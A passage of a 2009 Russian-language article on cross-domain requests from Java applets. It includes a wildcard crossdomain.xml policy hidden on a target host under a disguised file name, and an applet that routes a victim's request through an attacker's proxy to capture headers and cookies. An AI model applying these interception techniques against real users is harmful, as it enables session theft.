III. Java-запрос на сторонний сайт
1. Расширение sandbox (crossdomain.xml)
Апплету как недоверенному (untrusted) коду необходимы дополнительные права для выполнения запросов к стороннему хосту. И здесь до недавнего времени был только один легальный путь - подписывание апплета, при котором юзеру будет выведено уведомление о потенциальной опасности этих действий. Сейчас возможен второй вариант: наш сервер должен выдать апплету права с помощью отправки сертификата аналогично тому, как это происходит во Flash
*****. Содержание этого сертификата, разрешающего доступ со всех доменов, также аналогичное.
crossdomain.xml
Код:
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>
Все части сертификата, кроме
Код:
<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>
,не являются обязательными, и их можно (а чаще всего и нужно) опустить.
Сертификат не принимается JVM, если содержит блок site-control (на данный момент), т.е. некоторые валидные во Flash сертификаты оказываются в JAVA бесполезными.
Возможность разрешения кроссдоменных подключений путем расширения
sandbox присутствует в JAVA начиная с
версии 6 update 10 (официальный релиз от октября 2008 г.)
Собственно из вышеприведенной информации ясно, что наша задача может заключаться не только во внедрении class-файла в целевой хост, но и в размещении там файла с кроссдоменным сертификатом. На данный момент по причине относительной новизны плагинов нового поколения, этот способ является менее предпочтительным. Преимущество одно - мы сами можем выбрать расширение для файла с сертификатом, т.к. content-type не проверяется.
При http-соединении Файл crossdomain.xml по умолчанию будет запрошен из корневой директории стороннего сайта по 80-му порту и сохранится в её кеше.
Местоположение сертификата безопасности, отличное от дефолтного, нужно указывать в теге param, вложенном в тег applet.
Код:
<param name="java_arguments" value="-Djnlp.altCrossDomainXMLFiles=http://mysite.xz/good/bad/ugly.jpg">
Несколько адресов сертификатов можно указывать через запятую-разделитель.
Дополнительным способом является указание параметров апплета в
jnlp-файле, однако при этом необходимо размещать апплет в jar-архиве. В
jnlp-файле имеется 3 места, в которых можно задать параметры:
- атрибут
java-vm-args тега
j2se (java) блока
resources,
- тег
property блока
resources,
- тег
param блока
applet-desc (параметры, необходимые вашему апплету, но не исполняющей системе).
Ссылка на
jnlp-файл указывается, как и остальные параметры апплета:
Код:
<applet>
<param name="jnlp_href" value="http://somesite.xz/jnlp.jnlp">
</applet>
А минимальный
jnlp-файл, в котором определено альтернативное место расположения сертификата, будет выглядеть так:
Код:
<jnlp>
<information>
<title>.</title>
<vendor>.</vendor>
</information>
<resources>
<jar href="CExpr.jar"/>
<j2se version="1.2+" java-vm-args="-Djnlp.altCrossDomainXMLFiles=http://mysite.xz/good/bad/ugly.jpg"/>
<!--
<property name="jnlp.altCrossDomainXMLFiles" value="http://mysite.xz/good/bad/ugly.jpg"/>
-->
</resources>
<applet-desc
name="."
main-class="CExpr"
width="1"
height="1">
</applet-desc>
</jnlp>
Несмотря на то, что большинство возможностей плагинов нового поколения недоступны в Opera, кроссдоменные сертификаты поддерживаются, если ссылка на них указывается не в
jnlp-файле, а в параметре
java_arguments.
2. Проксирование клиента
Метод тесно связан с первым пунктом и привносит новое ко всему сказанному выше с точки зрения техники выполнения перехвата.
Класс
URLConnection может работать через прокси. В апплетах данная возможность поддерживается везде, кроме браузера Opera, главный нативный метод которого
nativeConnect(String urlString, byte httpMethodInt, com.opera.InputStream inputstream, com.opera.OutputStream outputstream, String extraHeaders) прокси-соединение не реализовал.
Проксирование приводит к тому, что в пределах инициируемого нами URL-соединения оно производится исключительно через наш прокси-сервер.
На подключение к прокси-серверу распространяются те же самые ограничения - соединение возможно только с базой кода. Таким образом, если прокси расположен на том же хосте, что и class-файл (или шире - база кода), то дополнительных прав на подключение к нему ява-машина не запросит. Если нет - будет запрошен сертификат.
ProxyConn.java
Код:
import java.applet.*;
import java.net.*;
import java.io.*;
public class ProxyConn extends Applet
{
public void start()
{
try {
Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress("myproxyhost.xz", 80));
URL url = getDocumentBase();
HttpURLConnection conn = (HttpURLConnection) url.openConnection(proxy);
conn.connect();
}
catch (Exception e){}
}
}
Способ хорош тем, что задача сохранения всех заголовков переносится на наш прокси-сервер, соответственно, задача пересылки пользовательской стороной полученного результата снимается.
Такова общая картина. В данной статье Я не стал останавливаться на том, что относится к "уязвимостям", однако, истинно говорю вам, их здесь целая россыпь.
------------------
***** См. здесь
_http://www.adobe.com/devnet/flashplayer/articles/fplayer9_security.html,
_http://www.securitylab.ru/contest/300506.php,
_http://flexconstructor.blogspot.com/2008/11/flashplayer10.html. Кстати, во второй статье автор был вынужден использовать флеш-грабберы, потому что в AS нет средств для прямой работы с обычными cookie. В java, как мы видим, они есть, и это предоставляет нам б
ольшую свободу действий.
LeverOne. июль 2009 г.
Дополнительные источники
1. Апплеты нового поколения // Игорь Некрестьянов / 20.07.2008.
_http://developers.sun.ru/content/view/193/89/
2. Новые возможности Desktop Java// Игорь Некрестьянов.
_http://conference.javatalks.ru/data/6u10_overview.pdf
3. Release Notes for the Next-Generation Java™ Plug-In Technology JDK 6u10 _http://java.sun.com/javase/6/webnotes/6u10/plugin2/
4. Java Doodle: crossdomain.xml Support // Joshua Marinacci / 28.05.2008.
_http://weblogs.java.net/blog/joshy/archive/2008/05/java_doodle_cro.html
5. JNLP Support in the New Java™ Plug-In Technology _https://jdk6.dev.java.net/plugin2/jnlp/
6. JNLP File Syntax _http://java.sun.com/javase/6/docs/technotes/guides/javaws/developersguide/syntax.html
7. Что такое Java Web Start и как это можно использовать // AntonSaburov.
_http://base.vingrad.ru/view/125-CHto-takoe-Java-Web-Start-i-kak-eto-mozhno-ispolzovat_
8. Java & JavaScript: принципы и приемы взаимодействия // Всероссийский Клуб Веб-мастеров / 2007.
_http://www.codenet.ru/webmast/js/js-java.php
9. LiveConnect. Обзор // Netscape Communications Corporation / 1999.
_http://www.karaganda-rus.de/clientguide_13/lc.htm
10. Applet <-> Javascript integration // Louis Botterill / 23.11.2008.
_http://louisbotterill.blogspot.com/2008/11/applet-javascript-integration.html